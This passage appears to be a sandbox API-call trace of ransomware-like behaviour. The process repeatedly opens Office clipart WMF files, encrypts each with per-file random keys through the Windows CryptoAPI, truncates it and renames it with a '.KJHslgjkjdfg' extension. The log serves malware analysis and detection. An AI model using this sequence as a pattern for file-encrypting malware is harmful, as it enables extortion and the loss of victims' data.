[0173.996] CloseHandle (hObject=0x114) returned 1 [0173.996] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2584, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152622.WMF", cAlternateFileName="")) returned 1 [0173.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.997] GetProcessHeap () returned 0x2a0000 [0173.997] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.998] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.998] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.998] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0174.000] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.000] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.000] GetProcessHeap () returned 0x2a0000 [0174.000] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.000] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.000] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.000] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.000] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.001] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.001] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.001] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.001] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.001] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.001] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2584, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2584, lpOverlapped=0x0) returned 1 [0174.002] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2590, dwBufLen=0x2590 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2590) returned 1 [0174.002] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.002] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2590, lpOverlapped=0x0) returned 1 [0174.002] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.002] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.002] SetEndOfFile (hFile=0x114) returned 1 [0174.005] GetProcessHeap () returned 0x2a0000 [0174.005] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.005] GetProcessHeap () returned 0x2a0000 [0174.005] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.005] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.kjhslgjkjdfg")) returned 1 [0174.006] CloseHandle (hObject=0x114) returned 1 [0174.006] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152626.WMF", cAlternateFileName="")) returned 1 [0174.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.007] GetProcessHeap () returned 0x2a0000 [0174.007] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.007] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.007] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.007] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.009] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.009] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.009] GetProcessHeap () returned 0x2a0000 [0174.009] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.009] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.009] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.009] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.010] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.010] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.010] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.010] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.010] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.010] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.010] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.010] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.010] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6688, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6688, lpOverlapped=0x0) returned 1 [0174.011] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6690, dwBufLen=0x6690 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6690) returned 1 [0174.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.011] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6690, lpOverlapped=0x0) returned 1 [0174.012] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.012] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.012] SetEndOfFile (hFile=0x114) returned 1 [0174.014] GetProcessHeap () returned 0x2a0000 [0174.014] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.014] GetProcessHeap () returned 0x2a0000 [0174.014] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.014] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.kjhslgjkjdfg")) returned 1 [0174.015] CloseHandle (hObject=0x114) returned 1 [0174.016] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x785c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152628.WMF", cAlternateFileName="")) returned 1 [0174.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.016] GetProcessHeap () returned 0x2a0000 [0174.016] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.017] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.017] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.017] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.019] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.019] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.019] GetProcessHeap () returned 0x2a0000 [0174.019] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.019] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.019] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.019] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.019] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.019] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.019] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.019] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.019] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.019] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.019] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.019] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.019] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x785c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x785c, lpOverlapped=0x0) returned 1 [0174.020] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7860, dwBufLen=0x7860 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7860) returned 1 [0174.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.021] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7860, lpOverlapped=0x0) returned 1 [0174.021] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.021] SetEndOfFile (hFile=0x114) returned 1 [0174.024] GetProcessHeap () returned 0x2a0000 [0174.024] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.024] GetProcessHeap () returned 0x2a0000 [0174.024] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.024] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.kjhslgjkjdfg")) returned 1 [0174.025] CloseHandle (hObject=0x114) returned 1 [0174.025] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8774, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152688.WMF", cAlternateFileName="")) returned 1 [0174.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.026] GetProcessHeap () returned 0x2a0000 [0174.026] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.026] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.026] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.027] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0174.029] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.029] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.029] GetProcessHeap () returned 0x2a0000 [0174.029] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.029] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.029] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.029] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.029] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.029] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.029] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.029] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.029] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.029] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.029] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.029] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.029] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8774, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8774, lpOverlapped=0x0) returned 1 [0174.032] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8780, dwBufLen=0x8780 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8780) returned 1 [0174.033] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.033] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8780, lpOverlapped=0x0) returned 1 [0174.033] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.033] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.033] SetEndOfFile (hFile=0x114) returned 1 [0174.036] GetProcessHeap () returned 0x2a0000 [0174.036] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.036] GetProcessHeap () returned 0x2a0000 [0174.036] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.036] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.kjhslgjkjdfg")) returned 1 [0174.043] CloseHandle (hObject=0x114) returned 1 [0174.043] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152690.WMF", cAlternateFileName="")) returned 1 [0174.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.044] GetProcessHeap () returned 0x2a0000 [0174.044] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.044] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.044] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.044] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: 